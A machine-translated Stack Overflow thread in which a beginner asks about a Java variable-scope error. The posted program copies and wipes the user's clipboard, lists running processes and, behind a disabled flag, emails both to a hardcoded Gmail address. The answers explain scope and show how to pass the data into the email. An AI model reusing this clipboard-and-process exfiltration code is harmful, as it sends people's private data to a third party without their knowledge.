变量无法解决

时间:2013-07-16 06:38:08

标签: java eclipse

我正在制作我的第一个Java程序(希望在下个世纪掌握它)并遇到了一些问题。当我尝试使用文本和先前创建的字符串的组合创建字符串时,Eclipse表示无法解析变量。有人可以帮帮我吗?谢谢!

//Clipboard
import java.awt.Toolkit;
import java.awt.datatransfer.DataFlavor;
import java.awt.datatransfer.StringSelection;
import java.awt.datatransfer.Transferable;
//Taskmanager
import java.io.BufferedReader;
import java.io.InputStreamReader;
//Email-er
import java.util.Properties;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.AddressException;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
/*
* Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only
* No data received from this app is used for any other purpose except the ones above
* Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)
* You may NOT distribute, copy, or modify this program without the express permission of Silver (idrees@idreesinc.com)
* Silver is NOT responsible for any damages, physical or virtual, caused by this program
* Clipboard and Task-list checkers based off programs by csanuragjain (http://www.codeproject.com/Members/csanuragjain)
* SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])
* Copyright IdreesInc.com  All rights reserved
*/
public class Application {
     static Properties mailServerProperties;
     static Session getMailSession;
     static MimeMessage generateMailMessage;
     public static void main(String args[]) throws AddressException, MessagingException {
            generateAndSendEmail();
            System.out.println("\n\n ===> Your Java Program has just sent an Email successfully. Check your email..");
        }

        public static void generateAndSendEmail() throws AddressException, MessagingException {     

            boolean allowEmails = false;
         Transferable t = Toolkit.getDefaultToolkit().getSystemClipboard().getContents(null);

            try {
                if (t != null && t.isDataFlavorSupported(DataFlavor.stringFlavor)) {
                    String text = (String)t.getTransferData(DataFlavor.stringFlavor);
                    String data = text;
                    System.out.println("Current clipboard data:\n"+data); //Prints Clipboard data
                    text=""; //String is now empty
                    StringSelection ss = new StringSelection(text); //Clears Clipboard data
                    Toolkit.getDefaultToolkit().getSystemClipboard().setContents(ss, null);
                    System.out.println("Clipboard data wiped successfully" + text); //Displays "text" string after output for debugging

                }
            }
            catch(Exception e)
            {

        }
            try {
                String line;
                Process p = Runtime.getRuntime().exec("tasklist.exe"); //Accesses running task-list
                BufferedReader input =
                        new BufferedReader(new InputStreamReader(p.getInputStream()));
                while ((line = input.readLine()) != null) {
                    System.out.println(line); //Data is parsed
                }
                input.close();

            } catch (Exception err) {
                err.printStackTrace();
            }

    if(allowEmails == true) {

    //Step1   
            System.out.println("\n\n 1st ===> setup Mail Server Properties..");
            mailServerProperties = System.getProperties();
            mailServerProperties.put("mail.smtp.port", "587");
            mailServerProperties.put("mail.smtp.auth", "true");
            mailServerProperties.put("mail.smtp.starttls.enable", "true");
            System.out.println("Mail Server Properties have been setup successfully..");

    //Step2        
            System.out.println("\n\n 2nd ===> get Mail Session..");
            getMailSession = Session.getDefaultInstance(mailServerProperties, null);
            generateMailMessage = new MimeMessage(getMailSession);
            generateMailMessage.addRecipient(Message.RecipientType.TO, new InternetAddress("javasmtpserver@gmail.com"));
            generateMailMessage.setSubject("Application 'Bitter Coffee' Has Been Activated");
            String emailBody = "Application 'Bitter Coffee' has been activated and has ran successfully" + "<br><br>The activators information is as follows: " + "<br>Clipboard Data: " + data + "<br>Active Tasks: " + input + "<br><br>Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only<br>No data received from this app is used for any other purpose except the ones above<br>Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)<br>You may NOT distribute, copy, or modify this program without the express permission of Silver (idrees@idreesinc.com)<br>I am not responsible for any damages, physical or virtual, caused by this program<br>Clipboard and Task-list checkers based off programs by csanuragjain (http://www.codeproject.com/Members/csanuragjain)<br>SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])<br><br>Copyright IdreesInc.com  All rights reserved";
            generateMailMessage.setContent(emailBody, "text/html");
            System.out.println("Mail Session has been created successfully..");

    //Step3        
            System.out.println("\n\n 3rd ===> Get Session and Send mail");
            Transport transport = getMailSession.getTransport("smtp");
            // Enter your correct Gmail UserID and Password
            transport.connect("smtp.gmail.com", "javasmtpserver", "serverpassword");
            transport.sendMessage(generateMailMessage, generateMailMessage.getAllRecipients());
            transport.close();
    }
        }

}

后记:这是我的第一篇Stack Overflow帖子,所以如果我把任何东西搞砸了,请纠正我。在我发布之前,我到处寻找我的问题的答案。我确信这是一个容易解决的问题,但由于这是我在Java中的第一个项目,我很遗憾。再次感谢大家和快乐的编码!

Post-Postscript:这段代码是为我创建的一个小项目。别担心,我不会用它来满足任何邪恶的需求;)

编辑:笨我忘了给出完整的错误:) 它们是:“输入无法作为变量解析” “数据无法解析为变量”

他们是“第2步”的第6行 再次感谢!

3 个答案:

答案 0 :(得分:6)

在Java中,您只能在其定义的块中使用变量。

您在try块中声明变量datainput

这意味着您只能在该区块内使用它们。

如果您想在步骤2中使用datainput,则应在试用版块之前将其声明为


要修复它,请执行以下操作:

public class Application {

    public static main(String[] args) {

        String data = null;
        String commandOutput = "";
        BufferedReader input = null;

        try {
            // do stuff
            data = text;
            input = // initialize buffered reader
            String line = input.readLine();
            while (line != null) {
                commandOutput += line;
                line = input.readLine();
            }
        }
        catch (SomeSpecificException ex) {
            // please handle exceptions!
        }
        catch (IOException ioex) {
            // handle IO Exceptions here
        }
        finally {               
            try {
                input.close();
            }
            catch (Exception ex) {
                ex.printStackTrace();
            }
        }
        .
        .
        .
        String emailBody = "blah blah " + data + " blah blah " + commandOutput;
    }
}

答案 1 :(得分:1)

在这一行

String emailBody = "Application 'Bitter Coffee' has been activated and has ran successfully" + "<br><br>The activators information is as follows: " + "<br>Clipboard Data: " + data + "<br>Active Tasks: " + input + "<br><br>Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only<br>No data received from this app is used for any other purpose except the ones above<br>Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)<br>You may NOT distribute, copy, or modify this program without the express permission of Silver (idrees@idreesinc.com)<br>I am not responsible for any damages, physical or virtual, caused by this program<br>Clipboard and Task-list checkers based off programs by csanuragjain (http://www.codeproject.com/Members/csanuragjain)<br>SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])<br><br>Copyright IdreesInc.com  All rights reserved";

变量datainput超出范围,将它们声明为实例变量并使用它

喜欢

public class Application {
     private static String input;
     private static String data;

请注意:Java language specification on blocks

答案 2 :(得分:0)

您在字符串data中使用的变量inputemailBody没有声明和使用的位置。

 if(allowEmails) {
 }

足够而不是

if(allowEmails == true)